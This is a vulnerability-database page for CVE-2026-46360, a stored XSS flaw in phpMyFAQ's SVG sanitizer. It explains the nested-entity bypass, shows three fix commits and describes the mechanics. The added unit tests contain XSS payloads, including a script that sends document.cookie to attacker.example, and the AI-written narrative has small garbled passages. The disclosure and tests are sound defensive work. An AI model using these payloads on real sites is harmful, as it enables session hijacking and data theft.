VYPR
Medium severity5.4NVD Advisory· Published May 15, 2026· Updated May 18, 2026

CVE-2026-46360

CVE-2026-46360

Description

phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in SvgSanitizer::decodeAllEntities() that limits recursive entity decoding to 5 iterations, allowing attackers to bypass sanitization. Authenticated users with FAQ_EDIT permission can upload malicious SVG files with deeply nested ampersand encoding around numeric HTML entities to reconstruct javascript: URLs, which execute arbitrary JavaScript when clicked by other users viewing the uploaded SVG.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Stored XSS in phpMyFAQ before 4.1.2 via SVG sanitizer entity decoding depth limit, allowing authenticated users with FAQ_EDIT permission to execute arbitrary JavaScript.

Root

Cause The vulnerability resides in SvgSanitizer::decodeAllEntities(), which limits recursive entity decoding to 5 iterations. An attacker can exploit this by nesting multiple levels of ampersand encoding around numeric HTML entities representing the string "javascript". The 5 iterations are consumed unwinding the ampersand nesting, leaving the numeric entities unresolved. This bypasses both isSafe() detection and subsequent sanitize() removal [1][2].

Exploitation

An authenticated user with FAQ_EDIT permission can upload a specially crafted SVG file via the image upload endpoint. The file contains an ` element with an href attribute value that, after the top-level HTML entity decoding, consists of 5 levels of & encoding around numeric entities (e.g., j for 'j'). The isSafe() method’s pattern matching does not detect the obscured javascript: scheme, so the file is stored without sanitization and served with image/svg+xml content type. When another user views the SVG, the browser’s XML parser fully decodes the remaining numeric entities, reconstructing a clickable javascript:` URL [1].

Impact

Upon clicking the malicious SVG, arbitrary JavaScript executes in the context of the phpMyFAQ origin. This can lead to data theft, session hijacking, or other client-side attacks. The attack requires authentication and FAQ_EDIT privileges, but the impact is limited to users who click the uploaded SVG [2].

Mitigation

The issue is fixed in phpMyFAQ version 4.1.2. Users are advised to update immediately. There is no known workaround besides disabling SVG uploads or restricting FAQ_EDIT permissions [1][2].

AI Insight generated on May 18, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

1

Patches

3
27fad8ea4f84

fix: removed SVG from allowed image extensions

https://github.com/thorsten/phpmyfaqThorsten RinneApr 6, 2026Fixed in 4.1.2via llm-release-walk
1 file changed · +1 1
  • phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ImageController.php+1 1 modified
    @@ -43,7 +43,7 @@ public function upload(Request $request): JsonResponse
             $session = $this->container->get(id: 'session');
     
             $uploadDir = PMF_CONTENT_DIR . '/user/images/';
    -        $validFileExtensions = ['gif', 'jpg', 'jpeg', 'png', 'webp', 'svg', 'mov', 'mp4', 'webm'];
    +        $validFileExtensions = ['gif', 'jpg', 'jpeg', 'png', 'webp', 'mov', 'mp4', 'webm'];
             $timestamp = time();
     
             if (!Token::getInstance($session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) {
    
79da5ecf051d

refactor: replaced custom sanitization with Symfony's HtmlSanitizer

https://github.com/thorsten/phpmyfaqThorsten RinneApr 6, 2026Fixed in 4.1.2via llm-release-walk
2 files changed · +86 182
  • phpmyfaq/src/phpMyFAQ/Filter.php+23 181 modified
    @@ -19,6 +19,8 @@
     
     namespace phpMyFAQ;
     
    +use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
    +use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
     use Symfony\Component\HttpFoundation\Request;
     
     /**
    @@ -132,192 +134,32 @@ public function filterSanitizeString(string $string): string
         }
     
         /**
    -     * Removes a lot of HTML attributes.
    +     * Sanitizes HTML by allowing safe elements and attributes via Symfony's HtmlSanitizer.
          */
         public static function removeAttributes(string $html = ''): string
         {
    -        $keep = [
    -            'href',
    -            'src',
    -            'title',
    -            'alt',
    -            'class',
    -            'style',
    -            'id',
    -            'name',
    -            'size',
    -            'dir',
    -            'rel',
    -            'rev',
    -            'target',
    -            'width',
    -            'height',
    -            'controls',
    -        ];
    -
             // remove broken stuff
             $html = str_replace(search: '
', replace: '', subject: $html);
     
    -        // Match attributes with double quotes, single quotes, or no quotes
    -        preg_match_all(
    -            pattern: '/[a-z]+\s*=\s*(?:"[^"]*"|\'[^\']*\'|[^\s>]+)/iU',
    -            subject: $html,
    -            matches: $attributes,
    -        );
    -
    -        foreach ($attributes[0] as $attribute) {
    -            $attributeName = stristr($attribute, needle: '=', before_needle: true);
    -            $attributeName = trim($attributeName);
    -            if (!self::isAttribute($attributeName)) {
    -                continue;
    -            }
    -
    -            if (in_array($attributeName, $keep, strict: true)) {
    -                continue;
    -            }
    -
    -            $html = str_replace(' ' . $attribute, replace: '', subject: $html);
    -        }
    -
    -        return $html;
    -    }
    -
    -    private static function isAttribute(string $attribute): bool
    -    {
    -        $globalAttributes = [
    -            'autocomplete',
    -            'autofocus',
    -            'disabled',
    -            'list',
    -            'name',
    -            'readonly',
    -            'required',
    -            'tabindex',
    -            'type',
    -            'value',
    -            'accesskey',
    -            'class',
    -            'contenteditable',
    -            'contextmenu',
    -            'dir',
    -            'draggable',
    -            'dropzone',
    -            'id',
    -            'lang',
    -            'style',
    -            'tabindex',
    -            'title',
    -            'inputmode',
    -            'is',
    -            'itemid',
    -            'itemprop',
    -            'itemref',
    -            'itemscope',
    -            'itemtype',
    -            'lang',
    -            'slot',
    -            'spellcheck',
    -            'translate',
    -            'autofocus',
    -            'disabled',
    -            'form',
    -            'multiple',
    -            'name',
    -            'required',
    -            'size',
    -            'autocapitalize',
    -            'autocomplete',
    -            'autofocus',
    -            'cols',
    -            'disabled',
    -            'form',
    -            'maxlength',
    -            'minlength',
    -            'name',
    -            'placeholder',
    -            'readonly',
    -            'required',
    -            'rows',
    -            'spellcheck',
    -            'wrap',
    -            'onmouseenter',
    -            'onmouseleave',
    -            'onafterprint',
    -            'onbeforeprint',
    -            'onbeforeunload',
    -            'onhashchange',
    -            'onmessage',
    -            'onoffline',
    -            'ononline',
    -            'onpopstate',
    -            'onpagehide',
    -            'onpageshow',
    -            'onresize',
    -            'onunload',
    -            'ondevicemotion',
    -            'preload',
    -            'ondeviceorientation',
    -            'onabort',
    -            'onblur',
    -            'oncanplay',
    -            'oncanplaythrough',
    -            'onchange',
    -            'onclick',
    -            'oncontextmenu',
    -            'ondblclick',
    -            'ondrag',
    -            'ondragend',
    -            'ondragenter',
    -            'ondragleave',
    -            'ondragover',
    -            'ondragstart',
    -            'ondrop',
    -            'ondurationchange',
    -            'onemptied',
    -            'onended',
    -            'onerror',
    -            'onfocus',
    -            'oninput',
    -            'oninvalid',
    -            'onkeydown',
    -            'onkeypress',
    -            'onkeyup',
    -            'onload',
    -            'onloadeddata',
    -            'onloadedmetadata',
    -            'onloadstart',
    -            'onmousedown',
    -            'onmousemove',
    -            'onmouseout',
    -            'onmouseover',
    -            'onmouseup',
    -            'controls',
    -            'onmozfullscreenchange',
    -            'onmozfullscreenerror',
    -            'onpause',
    -            'onplay',
    -            'onplaying',
    -            'onprogress',
    -            'onratechange',
    -            'onreset',
    -            'onscroll',
    -            'onseeked',
    -            'onseeking',
    -            'onselect',
    -            'onshow',
    -            'onstalled',
    -            'onsubmit',
    -            'onsuspend',
    -            'ontimeupdate',
    -            'onvolumechange',
    -            'onwaiting',
    -            'oncopy',
    -            'oncut',
    -            'onpaste',
    -            'onbeforescriptexecute',
    -            'onafterscriptexecute',
    -        ];
    -
    -        return in_array($attribute, $globalAttributes, strict: true);
    +        $config = (new HtmlSanitizerConfig())
    +            ->allowSafeElements()
    +            ->allowRelativeLinks()
    +            ->allowRelativeMedias()
    +            ->allowAttribute('class', allowedElements: '*')
    +            ->allowAttribute('style', allowedElements: '*')
    +            ->allowAttribute('id', allowedElements: '*')
    +            ->allowAttribute('dir', allowedElements: '*')
    +            ->allowAttribute('name', allowedElements: '*')
    +            ->allowAttribute('target', allowedElements: 'a')
    +            ->allowAttribute('controls', allowedElements: ['audio', 'video'])
    +            ->blockElement('form')
    +            ->blockElement('input')
    +            ->blockElement('textarea')
    +            ->blockElement('select')
    +            ->blockElement('button');
    +
    +        $sanitizer = new HtmlSanitizer($config);
    +
    +        return $sanitizer->sanitize($html);
         }
     }
    
  • tests/phpMyFAQ/FilterTest.php+63 1 modified
    @@ -271,7 +271,69 @@ public function testRemoveAttributesWithSvgOnload(): void
             $html = '<svg onload=alert(1)>';
             $result = Filter::removeAttributes($html);
     
    -        $this->assertStringNotContainsString('onload', $result);
    +        $this->assertStringNotContainsString('<svg', $result);
    +    }
    +
    +    public function testRemoveAttributesStripsScriptTags(): void
    +    {
    +        $html = 'Safe content<script>alert(document.cookie)</script> more content';
    +        $result = Filter::removeAttributes($html);
    +
    +        $this->assertStringNotContainsString('<script>', $result);
    +        $this->assertStringNotContainsString('alert(document.cookie)', $result);
    +        $this->assertStringContainsString('Safe content', $result);
    +        $this->assertStringContainsString('more content', $result);
    +    }
    +
    +    public function testRemoveAttributesStripsIframeTags(): void
    +    {
    +        $html = 'Before<iframe src="https://evil.com"></iframe>After';
    +        $result = Filter::removeAttributes($html);
    +
    +        $this->assertStringNotContainsString('<iframe', $result);
    +        $this->assertStringNotContainsString('</iframe>', $result);
    +        $this->assertStringContainsString('Before', $result);
    +        $this->assertStringContainsString('After', $result);
    +    }
    +
    +    public function testRemoveAttributesStripsObjectEmbedTags(): void
    +    {
    +        $html = '<object data="evil.swf"><embed src="evil.swf"></object>';
    +        $result = Filter::removeAttributes($html);
    +
    +        $this->assertStringNotContainsString('<object', $result);
    +        $this->assertStringNotContainsString('<embed', $result);
    +    }
    +
    +    public function testRemoveAttributesStripsJavascriptUri(): void
    +    {
    +        $html = '<a href="javascript:alert(1)">click</a>';
    +        $result = Filter::removeAttributes($html);
    +
    +        $this->assertStringNotContainsString('javascript:', $result);
    +        $this->assertStringContainsString('click', $result);
    +    }
    +
    +    public function testRemoveAttributesStripsFormAndBaseTags(): void
    +    {
    +        $html = '<form action="https://evil.com"><input name="q"><base href="https://evil.com">';
    +        $result = Filter::removeAttributes($html);
    +
    +        $this->assertStringNotContainsString('<form', $result);
    +        $this->assertStringNotContainsString('<base', $result);
    +    }
    +
    +    public function testRemoveAttributesHandlesEncodeThenDecode(): void
    +    {
    +        // Simulates the actual vulnerable pipeline: FILTER_SANITIZE_SPECIAL_CHARS -> html_entity_decode -> removeAttributes
    +        $userInput = 'Helpful content<script>fetch("https://attacker.example/steal?c="+document.cookie)</script>';
    +        $filtered = Filter::filterVar($userInput, FILTER_SANITIZE_SPECIAL_CHARS);
    +        $decoded = html_entity_decode((string) $filtered, ENT_QUOTES | ENT_HTML5, 'UTF-8');
    +        $result = Filter::removeAttributes($decoded);
    +
    +        $this->assertStringNotContainsString('<script>', $result);
    +        $this->assertStringNotContainsString('fetch(', $result);
    +        $this->assertStringContainsString('Helpful content', $result);
         }
     
         public function testRemoveAttributesWithMixedQuoteStyles(): void
    
ee04f197ae4a

fix: corrected entity encoding

https://github.com/thorsten/phpmyfaqThorsten RinneApr 16, 2026Fixed in 4.1.2via llm-release-walk
5 files changed · +8 6
  • phpmyfaq/assets/templates/default/search.twig+1 1 modified
    @@ -80,7 +80,7 @@
     
           {% else %}
             <p class="text-muted mt-5">
    -          {{ 'help_search' | translate | raw }}
    +          {{ 'help_search' | translate }}
             </p>
           {% endif %}
         </section>
    
  • phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php+1 1 modified
    @@ -91,7 +91,7 @@ public function search(Request $request): JsonResponse
                 $url = $this->configuration->getDefaultUrl() . 'index.php?action=faq&cat=%d&id=%d&artlang=%s';
                 $result = [];
                 foreach ($searchResultSet->getResultSet() as $data) {
    -                $data->answer = html_entity_decode(strip_tags((string) $data->answer), ENT_COMPAT, encoding: 'utf-8');
    +                $data->answer = strip_tags((string) $data->answer);
                     $data->answer = Utils::makeShorterText(string: $data->answer, characters: 12);
                     $url = sprintf($url, $data->category_id, $data->id, $data->lang);
                     $link = new Link($url, $this->configuration);
    
  • phpmyfaq/src/phpMyFAQ/Faq.php+2 2 modified
    @@ -579,10 +579,10 @@ public function renderFaqsByFaqIds(
                     $oLink->tooltip = $title;
     
                     $rowResult->renderedScore = 0;
    -                $rowResult->question = Utils::chopString($title, 15);
    +                $rowResult->question = Utils::chopString(Strings::htmlentities($title), 15);
                     $rowResult->path = '';
                     $rowResult->url = $oLink->toString();
    -                $rowResult->answerPreview = $faqHelper->renderAnswerPreview($row->answer, 20);
    +                $rowResult->answerPreview = Strings::htmlentities($faqHelper->renderAnswerPreview($row->answer, 20));
     
                     $lastFaqId = $row->id;
                     $searchResults[] = $rowResult;
    
  • phpmyfaq/src/phpMyFAQ/Helper/SearchHelper.php+1 1 modified
    @@ -181,7 +181,7 @@ public function getSearchResult(SearchResultSet $searchResultSet, int $currentPa
                     $categoryInfo = $this->Category->getCategoriesFromFaq((int) $resultSet->id);
                     $categoryInfo = array_values($categoryInfo); //Reset the array keys
                     $question = Utils::chopString(Strings::htmlentities($resultSet->question), 15);
    -                $answerPreview = $faqHelper->renderAnswerPreview($resultSet->answer, 20);
    +                $answerPreview = Strings::htmlentities($faqHelper->renderAnswerPreview($resultSet->answer, 20));
     
                     $searchTerm = str_replace(
                         ['^', '.', '?', '*', '+', '{', '}', '(', ')', '[', ']', '"'],
    
  • phpmyfaq/src/phpMyFAQ/Search.php+3 1 modified
    @@ -246,13 +246,15 @@ public function logSearchTerm(string $searchTerm): void
                 return;
             }
     
    +        $sanitizedSearchTerm = htmlspecialchars($searchTerm, ENT_QUOTES | ENT_HTML5, 'UTF-8');
    +
             $dateTime = new DateTime();
             $query = sprintf(
                 "INSERT INTO %s (id, lang, searchterm, searchdate) VALUES (%d, '%s', '%s', '%s')",
                 $this->table,
                 $this->configuration->getDb()->nextId($this->table, 'id'),
                 $this->configuration->getLanguage()->getLanguage(),
    -            $this->configuration->getDb()->escape($searchTerm),
    +            $this->configuration->getDb()->escape($sanitizedSearchTerm),
                 $dateTime->format('Y-m-d H:i:s'),
             );
     
    

Vulnerability mechanics

Root cause

"The custom SvgSanitizer::decodeAllEntities() limits recursive entity decoding to 5 iterations, allowing deeply nested ampersand-encoded numeric HTML entities to bypass sanitization and reconstruct javascript: URLs."

Attack vector

An authenticated user with FAQ_EDIT permission uploads a malicious SVG file containing a deeply nested ampersand-encoded payload around numeric HTML entities (e.g., `&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:...`). The SvgSanitizer's recursive entity decoder stops after 5 iterations, leaving the encoded `javascript:` URL intact. When another user views the uploaded SVG, the reconstructed `javascript:` URL executes arbitrary JavaScript in their browser [CWE-79]. The attack requires no special network position beyond normal web access and relies on user interaction (clicking the crafted link or SVG element).

Affected code

The vulnerability centers on the custom `SvgSanitizer::decodeAllEntities()` method (not shown in the patches but referenced in the advisory) and the `removeAttributes()` method in `phpmyfaq/src/phpMyFAQ/Filter.php` [patch_id=1068626]. The `ImageController::upload()` method in `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ImageController.php` previously allowed SVG file uploads [patch_id=1068625]. Additional output encoding gaps exist in `Faq.php`, `Search.php`, `SearchHelper.php`, and `SearchController.php` [patch_id=1068627].

What the fix does

Patch [patch_id=1068625] removes `svg` from the list of allowed image file extensions in `ImageController.php`, preventing SVG uploads entirely. Patch [patch_id=1068626] replaces the custom `removeAttributes()` method with Symfony's `HtmlSanitizer`, which provides robust, library-grade sanitization that strips dangerous elements like `<script>`, `<iframe>`, `<object>`, `<embed>`, and `javascript:` URIs. Patch [patch_id=1068627] applies `Strings::htmlentities()` to FAQ question, answer preview, and search term outputs, and removes the unsafe `html_entity_decode()` call in `SearchController.php`, ensuring that stored content is properly encoded before rendering.

Preconditions

  • authAttacker must be authenticated with FAQ_EDIT permission to upload SVG files.
  • inputAttacker must craft an SVG file with deeply nested ampersand-encoded numeric HTML entities that bypass the 5-iteration recursive entity decoding limit.
  • networkStandard HTTP/HTTPS access to the phpMyFAQ instance is sufficient.

Generated on May 21, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

2

News mentions

0

No linked articles in our index yet.